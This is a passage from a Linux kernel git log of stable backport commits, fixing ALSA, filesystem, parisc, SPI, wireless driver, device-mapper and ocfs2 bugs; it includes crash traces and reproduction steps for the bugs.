copy and the update may be asynchronous, and eventually runtime->avail might go to a negative value when many concurrent accesses are done. This may lead to memory corruption in the end. For fixing this race, in this patch, the status update code is performed in the same lock before the temporary unlock. Also, the spinlock is now taken more widely in snd_rawmidi_kernel_read1() for protecting more properly during the whole operation. BugLink: http://lkml.kernel.org/r/CACT4Y+b-dCmNf1GpgPKfDO0ih+uZCL2JV4__j-r1kdhPLSgQCQ@mail.gmail.com Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba0e231a927ea58921613854ab9effeb785c6c7b Author: Takashi Iwai Date: Mon Feb 1 12:04:55 2016 +0100 ALSA: rawmidi: Remove kernel WARNING for NULL user-space buffer check commit cc85f7a634cfaf9f0713c6aa06d08817424db37a upstream. NULL user-space buffer can be passed even in a normal path, thus it's not good to spew a kernel warning with stack trace at each time. Just drop snd_BUG_ON() macro usage there. BugLink: http://lkml.kernel.org/r/CACT4Y+YfVJ3L+q0i-4vyQVyyPD7V=OMX0PWPi29x9Bo3QaBLdw@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7a51d932249b646e67c3ac5954a301dfe455c38 Author: Takashi Iwai Date: Mon Jan 25 11:01:47 2016 +0100 ALSA: seq: Fix incorrect sanity check at snd_seq_oss_synth_cleanup() commit 599151336638d57b98d92338aa59c048e3a3e97d upstream. ALSA sequencer OSS emulation code has a sanity check for currently opened devices, but there is a thinko there, eventually it spews warnings and skips the operation wrongly like: WARNING: CPU: 1 PID: 7573 at sound/core/seq/oss/seq_oss_synth.c:311 Fix this off-by-one error. Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ee7c4e717142ea0d07f991e3963268e4f3d42cd Author: Takashi Iwai Date: Thu Jan 28 07:54:16 2016 +0100 ALSA: dummy: Disable switching timer backend via sysfs commit 7ee96216c31aabe1eb42fb91ff50dae9fcd014b2 upstream. ALSA dummy driver can switch the timer backend between system timer and hrtimer via its hrtimer module option. This can be also switched dynamically via sysfs, but it may lead to a memory corruption when switching is done while a PCM stream is running; the stream instance for the newly switched timer method tries to access the memory that was allocated by another timer method although the sizes differ. As the simplest fix, this patch just disables the switch via sysfs by dropping the writable bit. BugLink: http://lkml.kernel.org/r/CACT4Y+ZGEeEBntHW5WHn2GoeE0G_kRrCmUh6=dWyy-wfzvuJLg@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 317a6ba9e5f9f12167907d648866686c1222a320 Author: Takashi Iwai Date: Mon Jan 25 13:59:21 2016 +0100 ALSA: compress: Disable GET_CODEC_CAPS ioctl for some architectures commit 462b3f161beb62eeb290f4ec52f5ead29a2f8ac7 upstream. Some architectures like PowerPC can handle the maximum struct size in an ioctl only up to 13 bits, and struct snd_compr_codec_caps used by SNDRV_COMPRESS_GET_CODEC_CAPS ioctl overflows this limit. This problem was revealed recently by a powerpc change, as it's now treated as a fatal build error. This patch is a stop-gap for that: for architectures with less than 14 bit ioctl struct size, get rid of the handling of the relevant ioctl. We should provide an alternative equivalent ioctl code later, but for now just paper over it. Luckily, the compress API hasn't been used on such architectures, so the impact must be effectively zero. Reviewed-by: Mark Brown Acked-by: Sudip Mukherjee Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2facc19c78df8a824299cb0d7e44631b59a2b9f Author: Guillaume Fougnies Date: Tue Jan 26 00:28:27 2016 +0100 ALSA: usb-audio: Fix TEAC UD-501/UD-503/NT-503 usb delay commit 5a4ff9ec8d6edd2ab1cfe8ce6a080d6e57cbea9a upstream. TEAC UD-501/UD-503/NT-503 fail to switch properly between different rate/format. Similar to 'Playback Design', this patch corrects the invalid clock source error for TEAC products and avoids complete freeze of the usb interface of 503 series. Signed-off-by: Guillaume Fougnies Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dfd1d153353ebd0aa3f874ea32253817fff9b05 Author: Al Viro Date: Mon Nov 23 21:11:08 2015 -0500 fix sysvfs symlinks commit 0ebf7f10d67a70e120f365018f1c5fce9ddc567d upstream. The thing got broken back in 2002 - sysvfs does *not* have inline symlinks; even short ones have bodies stored in the first block of file. sysv_symlink() handles that correctly; unfortunately, attempting to look an existing symlink up will end up confusing them for inline symlinks, and interpret the block number containing the body as the body itself. Nobody has noticed until now, which says something about the level of testing sysvfs gets ;-/ Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37d21068953e294902787a6634eccf04fcf56623 Author: Tiffany Lin Date: Thu Sep 24 06:02:36 2015 -0300 media: vb2 dma-contig: Fully cache synchronise buffers in prepare and finish commit d9a985883fa32453d099d6293188c11d75cef1fa upstream. In videobuf2 dma-contig memory type the prepare and finish ops, instead of passing the number of entries in the original scatterlist as the "nents" parameter to dma_sync_sg_for_device() and dma_sync_sg_for_cpu(), the value returned by dma_map_sg() was used. Albeit this has been suggested in comments of some implementations (which have since been corrected), this is wrong. Fixes: 199d101efdba ("v4l: vb2-dma-contig: add prepare/finish to dma-contig allocator") Signed-off-by: Tiffany Lin Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a927b8ee84a4c3dd4772d74ea5ef3c1511c12e99 Author: Andrzej Hajda Date: Mon Aug 31 08:56:15 2015 -0300 v4l2-compat-ioctl32: fix alignment for ARM64 commit 655e9780ab913a3a06d4a164d55e3b755524186d upstream. Alignment/padding rules on AMD64 and ARM64 differs. To allow properly match compatible ioctls on ARM64 kernels without breaking AMD64 some fields should be aligned using compat_s64 type and in one case struct should be unpacked. Signed-off-by: Andrzej Hajda [hans.verkuil@cisco.com: use compat_u64 instead of compat_s64 in v4l2_input32] Signed-off-by: Hans Verkuil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Pranav Vashi commit 3f292da3e0ca9fb973d9b5fb07e02fd889a6c598 Author: Helge Deller Date: Sun Jan 10 09:30:42 2016 +0100 parisc: Fix __ARCH_SI_PREAMBLE_SIZE commit e60fc5aa608eb38b47ba4ee058f306f739eb70a0 upstream. On a 64bit kernel build the compiler aligns the _sifields union in the struct siginfo_t on a 64bit address. The __ARCH_SI_PREAMBLE_SIZE define compensates for this alignment and thus fixes the wait testcase of the strace package. The symptoms of a wrong __ARCH_SI_PREAMBLE_SIZE value is that _sigchld.si_stime variable is missed to be copied and thus after a copy_siginfo() will have uninitialized values. Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89ef33f8f3e796671cb2fbf79fb3dad913523c46 Author: Helge Deller Date: Mon Dec 21 10:03:30 2015 +0100 parisc: Fix syscall restarts commit 71a71fb5374a23be36a91981b5614590b9e722c3 upstream. On parisc syscalls which are interrupted by signals sometimes failed to restart and instead returned -ENOSYS which in the worst case lead to userspace crashes. A similiar problem existed on MIPS and was fixed by commit e967ef02 ("MIPS: Fix restart of indirect syscalls"). On parisc the current syscall restart code assumes that all syscall callers load the syscall number in the delay slot of the ble instruction. That's how it is e.g. done in the unistd.h header file: ble 0x100(%sr2, %r0) ldi #syscall_nr, %r20 Because of that assumption the current code never restored %r20 before returning to userspace. This assumption is at least not true for code which uses the glibc syscall() function, which instead uses this syntax: ble 0x100(%sr2, %r0) copy regX, %r20 where regX depend on how the compiler optimizes the code and register usage. This patch fixes this problem by adding code to analyze how the syscall number is loaded in the delay branch and - if needed - copy the syscall number to regX prior returning to userspace for the syscall restart. Signed-off-by: Helge Deller Cc: Mathieu Desnoyers Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9620e6d1d00f2e3e56c0d8951833ba3e6a87739 Author: Helge Deller Date: Sun Nov 22 12:14:14 2015 +0100 parisc: Drop unused MADV_xxxK_PAGES flags from asm/mman.h commit dcbf0d299c00ed4f82ea8d6e359ad88a5182f9b8 upstream. Drop the MADV_xxK_PAGES flags, which were never used and were from a proposed API which was never integrated into the generic Linux kernel code. Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d072a74988f2ca65c0fabe4dd36cf049fb01479 Author: Andy Leiserson Date: Sun Oct 18 00:36:29 2015 -0400 fix calculation of meta_bg descriptor backups commit 904dad4742d211b7a8910e92695c0fa957483836 upstream. "group" is the group where the backup will be placed, and is initialized to zero in the declaration. This meant that backups for meta_bg descriptors were erroneously written to the backup block group descriptors in groups 1 and (desc_per_block-1). Reproduction information: mke2fs -Fq -t ext4 -b 1024 -O ^resize_inode /tmp/foo.img 16G truncate -s 24G /tmp/foo.img losetup /dev/loop0 /tmp/foo.img mount /dev/loop0 /mnt resize2fs /dev/loop0 umount /dev/loop0 dd if=/dev/zero of=/dev/loop0 bs=1024 count=2 e2fsck -fy /dev/loop0 losetup -d /dev/loop0 Signed-off-by: Andy Leiserson Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76a8c918a24e83f0d125e34014a5b5e811c31a65 Author: Jan Kara Date: Tue Nov 24 15:34:35 2015 -0500 jbd2: Fix unreclaimed pages after truncate in data=journal mode commit bc23f0c8d7ccd8d924c4e70ce311288cb3e61ea8 upstream. Ted and Namjae have reported that truncated pages don't get timely reclaimed after being truncated in data=journal mode. The following test triggers the issue easily: for (i = 0; i < 1000; i++) { pwrite(fd, buf, 1024*1024, 0); fsync(fd); fsync(fd); ftruncate(fd, 0); } The reason is that journal_unmap_buffer() finds that truncated buffers are not journalled (jh->b_transaction == NULL), they are part of checkpoint list of a transaction (jh->b_cp_transaction != NULL) and have been already written out (!buffer_dirty(bh)). We clean such buffers but we leave them in the checkpoint list. Since checkpoint transaction holds a reference to the journal head, these buffers cannot be released until the checkpoint transaction is cleaned up. And at that point we don't call release_buffer_page() anymore so pages detached from mapping are lingering in the system waiting for reclaim to find them and free them. Fix the problem by removing buffers from transaction checkpoint lists when journal_unmap_buffer() finds out they don't have to be there anymore. Reported-and-tested-by: Namjae Jeon Fixes: de1b794130b130e77ffa975bb58cb843744f9ae5 Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53fb2cde4c08069404c70e2ff7b64cc85ed96870 Author: Boris BREZILLON Date: Thu Jul 30 12:18:03 2015 +0200 mtd: mtdpart: fix add_mtd_partitions error path commit e5bae86797141e4a95e42d825f737cb36d7b8c37 upstream. If we fail to allocate a partition structure in the middle of the partition creation process, the already allocated partitions are never removed, which means they are still present in the partition list and their resources are never freed. Signed-off-by: Boris Brezillon Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cebba854923b7b36a0853d3f2f049beddd343c7 Author: Hon Ching \\(Vicky\\) Lo Date: Wed Oct 7 20:11:51 2015 -0400 vTPM: fix memory allocation flag for rtce buffer at kernel boot commit 60ecd86c4d985750efa0ea3d8610972b09951715 upstream. At ibm vtpm initialzation, tpm_ibmvtpm_probe() registers its interrupt handler, ibmvtpm_interrupt, which calls ibmvtpm_crq_process to allocate memory for rtce buffer. The current code uses 'GFP_KERNEL' as the type of kernel memory allocation, which resulted a warning at kernel/lockdep.c. This patch uses 'GFP_ATOMIC' instead so that the allocation is high-priority and does not sleep. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a001c2276c305c6398fad57f70a6cf43648721f2 Author: Uri Mashiach Date: Thu Dec 24 16:05:00 2015 +0200 wlcore/wl12xx: spi: fix NULL pointer dereference (Oops) commit e47301b06d5a65678690f04c2248fd181db1e59a upstream. Fix the below Oops when trying to modprobe wlcore_spi. The oops occurs because the wl1271_power_{off,on}() function doesn't check the power() function pointer. [ 23.401447] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 23.409954] pgd = c0004000 [ 23.412922] [00000000] *pgd=00000000 [ 23.416693] Internal error: Oops: 80000007 [#1] SMP ARM [ 23.422168] Modules linked in: wl12xx wlcore mac80211 cfg80211 musb_dsps musb_hdrc usbcore usb_common snd_soc_simple_card evdev joydev omap_rng wlcore_spi snd_soc_tlv320aic23_i2c rng_core snd_soc_tlv320aic23 c_can_platform c_can can_dev snd_soc_davinci_mcasp snd_soc_edma snd_soc_omap omap_wdt musb_am335x cpufreq_dt thermal_sys hwmon [ 23.453253] CPU: 0 PID: 36 Comm: kworker/0:2 Not tainted 4.2.0-00002-g951efee-dirty #233 [ 23.461720] Hardware name: Generic AM33XX (Flattened Device Tree) [ 23.468123] Workqueue: events request_firmware_work_func [ 23.473690] task: de32efc0 ti: de4ee000 task.ti: de4ee000 [ 23.479341] PC is at 0x0 [ 23.482112] LR is at wl12xx_set_power_on+0x28/0x124 [wlcore] [ 23.488074] pc : [<00000000>] lr : [] psr: 60000013 [ 23.488074] sp : de4efe50 ip : 00000002 fp : 00000000 [ 23.500162] r10: de7cdd00 r9 : dc848800 r8 : bf27af00 [ 23.505663] r7 : bf27a1a8 r6 : dcbd8a80 r5 : dce0e2e0 r4 : dce0d2e0 [ 23.512536] r3 : 00000000 r2 : 00000000 r1 : 00000001 r0 : dc848810 [ 23.519412] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel [ 23.527109] Control: 10c5387d Table: 9cb78019 DAC: 00000015 [ 23.533160] Process kworker/0:2 (pid: 36, stack limit = 0xde4ee218) [ 23.539760] Stack: (0xde4efe50 to 0xde4f0000) [...] [ 23.665030] [] (wl12xx_set_power_on [wlcore]) from [] (wlcore_nvs_cb+0x118/0xa4c [wlcore]) [ 23.675604] [] (wlcore_nvs_cb [wlcore]) from [] (request_firmware_work_func+0x30/0x58) [ 23.685784] [] (request_firmware_work_func) from [] (process_one_work+0x1b4/0x4b4) [ 23.695591] [] (process_one_work) from [] (worker_thread+0x3c/0x4a4) [ 23.704124] [] (worker_thread) from [] (kthread+0xd4/0xf0) [ 23.711747] [] (kthread) from [] (ret_from_fork+0x14/0x3c) [ 23.719357] Code: bad PC value [ 23.722760] ---[ end trace 981be8510db9b3a9 ]--- Prevent oops by validationg power() pointer value before calling the function. Signed-off-by: Uri Mashiach Acked-by: Igor Grinberg Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 00036f178128512d12ef5f13235dd84a56405d2b Author: Uri Mashiach Date: Thu Dec 10 15:12:56 2015 +0200 wlcore/wl12xx: spi: fix oops on firmware load commit 9b2761cb72dc41e1948c8a5512b4efd384eda130 upstream. The maximum chunks used by the function is (SPI_AGGR_BUFFER_SIZE / WSPI_MAX_CHUNK_SIZE + 1). The original commands array had space for (SPI_AGGR_BUFFER_SIZE / WSPI_MAX_CHUNK_SIZE) commands. When the last chunk is used (len > 4 * WSPI_MAX_CHUNK_SIZE), the last command is stored outside the bounds of the commands array. Oops 5 (page fault) is generated during current wl1271 firmware load attempt: root@debian-armhf:~# ifconfig wlan0 up [ 294.312399] Unable to handle kernel paging request at virtual address 00203fc4 [ 294.320173] pgd = de528000 [ 294.323028] [00203fc4] *pgd=00000000 [ 294.326916] Internal error: Oops: 5 [#1] SMP ARM [ 294.331789] Modules linked in: bnep rfcomm bluetooth ipv6 arc4 wl12xx wlcore mac80211 musb_dsps cfg80211 musb_hdrc usbcore usb_common wlcore_spi omap_rng rng_core musb_am335x omap_wdt cpufreq_dt thermal_sys hwmon [ 294.351838] CPU: 0 PID: 1827 Comm: ifconfig Not tainted 4.2.0-00002-g3e9ad27-dirty #78 [ 294.360154] Hardware name: Generic AM33XX (Flattened Device Tree) [ 294.366557] task: dc9d6d40 ti: de550000 task.ti: de550000 [ 294.372236] PC is at __spi_validate+0xa8/0x2ac [ 294.376902] LR is at __spi_sync+0x78/0x210 [ 294.381200] pc : [] lr : [] psr: 60000013 [ 294.381200] sp : de551998 ip : de5519d8 fp : 00200000 [ 294.393242] r10: de551c8c r9 : de5519d8 r8 : de3a9000 [ 294.398730] r7 : de3a9258 r6 : de3a9400 r5 : de551a48 r4 : 00203fbc [ 294.405577] r3 : 00000000 r2 : 00000000 r1 : 00000000 r0 : de3a9000 [ 294.412420] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user [ 294.419918] Control: 10c5387d Table: 9e528019 DAC: 00000015 [ 294.425954] Process ifconfig (pid: 1827, stack limit = 0xde550218) [ 294.432437] Stack: (0xde551998 to 0xde552000) ... [ 294.883613] [] (__spi_validate) from [] (__spi_sync+0x78/0x210) [ 294.891670] [] (__spi_sync) from [] (wl12xx_spi_raw_write+0xfc/0x148 [wlcore_spi]) [ 294.901661] [] (wl12xx_spi_raw_write [wlcore_spi]) from [] (wlcore_boot_upload_firmware+0x1ec/0x458 [wlcore]) [ 294.914038] [] (wlcore_boot_upload_firmware [wlcore]) from [] (wl12xx_boot+0xc10/0xfac [wl12xx]) [ 294.925161] [] (wl12xx_boot [wl12xx]) from [] (wl1271_op_add_interface+0x5b0/0x910 [wlcore]) [ 294.936364] [] (wl1271_op_add_interface [wlcore]) from [] (ieee80211_do_open+0x44c/0xf7c [mac80211]) [ 294.947963] [] (ieee80211_do_open [mac80211]) from [] (__dev_open+0xa8/0x110) [ 294.957307] [] (__dev_open) from [] (__dev_change_flags+0x88/0x148) [ 294.965713] [] (__dev_change_flags) from [] (dev_change_flags+0x18/0x48) [ 294.974576] [] (dev_change_flags) from [] (devinet_ioctl+0x6b4/0x7d0) [ 294.983191] [] (devinet_ioctl) from [] (sock_ioctl+0x1e4/0x2bc) [ 294.991244] [] (sock_ioctl) from [] (do_vfs_ioctl+0x420/0x6b0) [ 294.999208] [] (do_vfs_ioctl) from [] (SyS_ioctl+0x6c/0x7c) [ 295.006880] [] (SyS_ioctl) from [] (ret_fast_syscall+0x0/0x54) [ 295.014835] Code: e1550004 e2444034 0a00007d e5953018 (e5942008) [ 295.021544] ---[ end trace 66ed188198f4e24e ]--- Signed-off-by: Uri Mashiach Acked-by: Igor Grinberg Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 72cb3c30c262cd8ae012688c93dd2b2c2925c3fb Author: Johan Hovold Date: Mon Dec 14 16:16:19 2015 +0100 spi: fix parent-device reference leak commit 157f38f993919b648187ba341bfb05d0e91ad2f6 upstream. Fix parent-device reference leak due to SPI-core taking an unnecessary reference to the parent when allocating the master structure, a reference that was never released. Note that driver core takes its own reference to the parent when the master device is registered. Fixes: 49dce689ad4e ("spi doesn't need class_device") Signed-off-by: Johan Hovold Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79a8901b4665460cda384f0fe25a49724a278d89 Author: David Mosberger-Tang Date: Tue Oct 20 14:26:47 2015 +0200 spi: atmel: Fix DMA-setup for transfers with more than 8 bits per word commit 06515f83908d038d9e12ffa3dcca27a1b67f2de0 upstream. The DMA-slave configuration depends on the whether <= 8 or > 8 bits are transferred per word, so we need to call atmel_spi_dma_slave_config() with the correct value. Signed-off-by: David Mosberger Signed-off-by: Nicolas Ferre Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dc4877a8c348978b4e8d602054dc0ab601accf60 Author: Mauricio Faria de Oliveira Date: Thu Oct 29 10:24:23 2015 -0200 Revert "dm mpath: fix stalls when handling invalid ioctls" commit 47796938c46b943d157ac8a6f9ed4e3b98b83cf4 upstream. This reverts commit a1989b330093578ea5470bea0a00f940c444c466. That commit introduced a regression at least for the case of the SG_IO ioctl() running without CAP_SYS_RAWIO capability (e.g., unprivileged users) when there are no active paths: the ioctl() fails with the ENOTTY errno immediately rather than blocking due to queue_if_no_path until a path becomes active, for example. That case happens to be exercised by QEMU KVM guests with 'scsi-block' devices (qemu "-device scsi-block" [1], libvirt "" [2]) from multipath devices; which leads to SCSI/filesystem errors in such a guest. More general scenarios can hit that regression too. The following demonstration employs a SG_IO ioctl() with a standard SCSI INQUIRY command for this objective (some output & user changes omitted for brevity and comments added for clarity). Reverting that commit restores normal operation (queueing) in failing scenarios; tested on linux-next (next-20151022). 1) Test-case is based on sg_simple0 [3] (just SG_IO; remove SG_GET_VERSION_NUM) $ cat sg_simple0.c ... see [3] ... $ sed '/SG_GET_VERSION_NUM/,/}/d' sg_simple0.c > sgio_inquiry.c $ gcc sgio_inquiry.c -o sgio_inquiry 2) The ioctl() works fine with active paths present. # multipath -l 85ag56 85ag56 (...) dm-19 IBM ,2145 size=60G features='1 queue_if_no_path' hwhandler='0' wp=rw |-+- policy='service-time 0' prio=0 status=active | |- 8:0:11:0 sdz 65:144 active undef running | `- 9:0:9:0 sdbf 67:144 active undef running `-+- policy='service-time 0' prio=0 status=enabled |- 8:0:12:0 sdae 65:224 active undef running `- 9:0:12:0 sdbo 68:32 active undef running $ ./sgio_inquiry /dev/mapper/85ag56 Some of the INQUIRY command's response: IBM 2145 0000 INQUIRY duration=0 millisecs, resid=0 3) The ioctl() fails with ENOTTY errno with _no_ active paths present, for unprivileged users (rather than blocking due to queue_if_no_path). # for path in $(multipath -l 85ag56 | grep -o 'sd[a-z]\+'); \ do multipathd -k"fail path $path"; done # multipath -l 85ag56 85ag56 (...) dm-19 IBM ,2145 size=60G features='1 queue_if_no_path' hwhandler='0' wp=rw |-+- policy='service-time 0' prio=0 status=enabled | |- 8:0:11:0 sdz 65:144 failed undef running | `- 9:0:9:0 sdbf 67:144 failed undef running `-+- policy='service-time 0' prio=0 status=enabled |- 8:0:12:0 sdae 65:224 failed undef running `- 9:0:12:0 sdbo 68:32 failed undef running $ ./sgio_inquiry /dev/mapper/85ag56 sg_simple0: Inquiry SG_IO ioctl error: Inappropriate ioctl for device 4) dmesg shows that scsi_verify_blk_ioctl() failed for SG_IO (0x2285); it returns -ENOIOCTLCMD, later replaced with -ENOTTY in vfs_ioctl(). $ dmesg <...> [] device-mapper: multipath: Failing path 65:144. [] device-mapper: multipath: Failing path 67:144. [] device-mapper: multipath: Failing path 65:224. [] device-mapper: multipath: Failing path 68:32. [] sgio_inquiry: sending ioctl 2285 to a partition! 5) The ioctl() only works if the SYS_CAP_RAWIO capability is present (then queueing happens -- in this example, queue_if_no_path is set); this is due to a conditional check in scsi_verify_blk_ioctl(). # capsh --drop=cap_sys_rawio -- -c './sgio_inquiry /dev/mapper/85ag56' sg_simple0: Inquiry SG_IO ioctl error: Inappropriate ioctl for device # ./sgio_inquiry /dev/mapper/85ag56 & [1] 72830 # cat /proc/72830/stack [] 0xc00000171c0df700 [] __switch_to+0x204/0x350 [] msleep+0x5c/0x80 [] dm_blk_ioctl+0x70/0x170 [] blkdev_ioctl+0x2b0/0x9b0 [] block_ioctl+0x64/0xd0 [] do_vfs_ioctl+0x490/0x780 [] SyS_ioctl+0xd4/0xf0 [] system_call+0x38/0xd0 6) This is the function call chain exercised in this analysis: SYSCALL_DEFINE3(ioctl, <...>) @ fs/ioctl.c -> do_vfs_ioctl() -> vfs_ioctl() ... error = filp->f_op->unlocked_ioctl(filp, cmd, arg); ... -> dm_blk_ioctl() @ drivers/md/dm.c -> multipath_ioctl() @ drivers/md/dm-mpath.c ... (bdev = NULL, due to no active paths) ... if (!bdev || <...>) { int err = scsi_verify_blk_ioctl(NULL, cmd); if (err) r = err; } ... -> scsi_verify_blk_ioctl() @ block/scsi_ioctl.c ... if (bd && bd == bd->bd_contains) // not taken (bd = NULL) return 0; ... if (capable(CAP_SYS_RAWIO)) // not taken (unprivileged user) return 0; ... printk_ratelimited(KERN_WARNING "%s: sending ioctl %x to a partition!\n" <...>); return -ENOIOCTLCMD; <- ... return r ? : <...> <- ... if (error == -ENOIOCTLCMD) error = -ENOTTY; out: return error; ... Links: [1] http://git.qemu.org/?p=qemu.git;a=commit;h=336a6915bc7089fb20fea4ba99972ad9a97c5f52 [2] https://libvirt.org/formatdomain.html#elementsDisks (see 'disk' -> 'device') [3] http://tldp.org/HOWTO/SCSI-Generic-HOWTO/pexample.html (Revision 1.2, 2002-05-03) Signed-off-by: Mauricio Faria de Oliveira Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45ca3cce4520f3e2ad351d0bf04704c57edf5b77 Author: Dmitry V. Levin Date: Fri Dec 11 13:41:06 2015 -0800 sh64: fix __NR_fgetxattr commit 2d33fa1059da4c8e816627a688d950b613ec0474 upstream. According to arch/sh/kernel/syscalls_64.S and common sense, __NR_fgetxattr has to be defined to 259, but it doesn't. Instead, it's defined to 269, which is of course used by another syscall, __NR_sched_setaffinity in this case. This bug was found by strace test suite. Signed-off-by: Dmitry V. Levin Acked-by: Geert Uytterhoeven Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 343bd2ce7b813f65a8d51f46545237b3055d1848 Author: xuejiufei Date: Fri Feb 5 15:36:47 2016 -0800 ocfs2/dlm: clear refmap bit of recovery lock while doing local recovery cleanup commit c95a51807b730e4681e2ecbdfd669ca52601959e upstream. When recovery master down, dlm_do_local_recovery_cleanup() only remove the $RECOVERY lock owned by dead node, but do not clear the refmap bit. Which will make umount thread falling in dead loop migrating $RECOVERY to the dead node. Signed-off-by: xuejiufei Reviewed-by: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6503546b2a451f11b48385afb6c168308ec71ef Author: xuejiufei Date: Thu Jan 14 15:17:38 2016 -0800 ocfs2/dlm: ignore cleaning the migration mle that is inuse commit bef5502de074b6f6fa647b94b73155d675694420 upstream. We have found that migration source will trigger a BUG that the refcount of mle is already zero before put when the target is down during migration. The situation is as follows: dlm_migrate_lockres dlm_add_migration_mle dlm_mark_lockres_migrating dlm_get_mle_inuse <<<<<< Now the refcount of the mle is 2. dlm_send_one_lockres and wait for the target to become the new master. <<<<<< o2hb detect the target down and clean the migration mle. Now the refcount is 1. dlm_migrate_lockres woken, and put the mle twice when found the target goes down which trigger the BUG with the following message: "ERROR: bad mle: ". Signed-off-by: Jiufei Xue Reviewed-by: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 127a307cf36ea5b57ee4493a52d061896dfa424f Author: Richard Weinberger Date: Fri Nov 20 15:57:21 2015 -0800 kernel/signal.c: unexport sigsuspend() commit 9d8a765211335cfdad464b90fb19f546af5706ae upstream. sigsuspend() is nowhere used except in signal.c itself, so we can mark it static do not pollute the global namespace. But this patch is more than a boring cleanup patch, it fixes a real issue on UserModeLinux. UML has a special console driver to display ttys using xterm, or other terminal emulators, on the host side. Vegard reported that sometimes UML is unable to spawn a xterm and he's facing the following warning: WARNING: CPU: 0 PID: 908 at include/linux/thread_info.h:128 sigsuspend+0xab/0xc0() It turned out that this warning makes absolutely no sense as the UML xterm code calls sigsuspend() on the host side, at least it tries. But as the kernel itself offers a sigsuspend() symbol the linker choose this one instead of the glibc wrapper. Interestingly this code used to work since ever but always blocked signals on the wrong side. Some recent kernel change made the WARN_ON() trigger and uncovered the bug. It is a wonderful example of how much works by chance on computers. :-) Fixes: 68f3f16d9ad0f1 ("new helper: sigsuspend()") Signed-off-by: Richard Weinberger Reported-by: Vegard Nossum Tested-by: Vegard Nossum Acked-by: Oleg Nesterov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3776d916fd9a8b528d5db82aec4df52f31c725a4 Author: Arnd Bergmann Date: Fri Nov 20 18:26:07 2015 +0100 remoteproc: avoid stack overflow in debugfs file commit 92792e48e2ae6051af30468a87994b5432da2f06 upstream. Recent gcc versions warn about reading from a negative offset of an on-stack array: drivers/remoteproc/remoteproc_debugfs.c: In function 'rproc_recovery_write': drivers/remoteproc/remoteproc_debugfs.c:167:9: warning: 'buf[4294967295u]' may be used uninitialized in this function [-Wmaybe-uninitialized] I don't see anything in sys_write() that prevents us from being called with a zero 'count' argument, so we should add an extra check in rproc_recovery_write() to prevent the access and avoid the warning. Signed-off-by: Arnd Bergmann Fixes: 2e37abb89a2e ("remoteproc: create a 'recovery' debugfs entry") Signed-off-by: Ohad Ben-Cohen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 91038759c7a3a7eacc115467439c61b6202a2e4c Author: Ioan-Adrian Ratiu Date: Fri Nov 20 22:19:02 2015 +0200 HID: usbhid: fix recursive deadlock commit e470127e9606b1fa151c4184243e61296d1e0c0f upstream. The critical section protected by usbhid->lock in hid_ctrl() is too big and because of this it causes a recursive deadlock. "Too big" means the case statement and the call to hid_input_report() do not need to be protected by the spinlock (no URB operations are done inside them). The deadlock happens because in certain rare cases drivers try to grab the lock while handling the ctrl irq which grabs the lock before them as described above. For example newer wacom tablets like 056a:033c try to reschedule proximity reads from wacom_intuos_schedule_prox_event() calling hid_hw_request() -> usbhid_request() -> usbhid_submit_report() which tries to grab the usbhid lock already held by hid_ctrl(). There are two ways to get out of this deadlock: 1. Make the drivers work "around" the ctrl critical region, in the wacom case for ex. by delaying the scheduling of the proximity read request itself 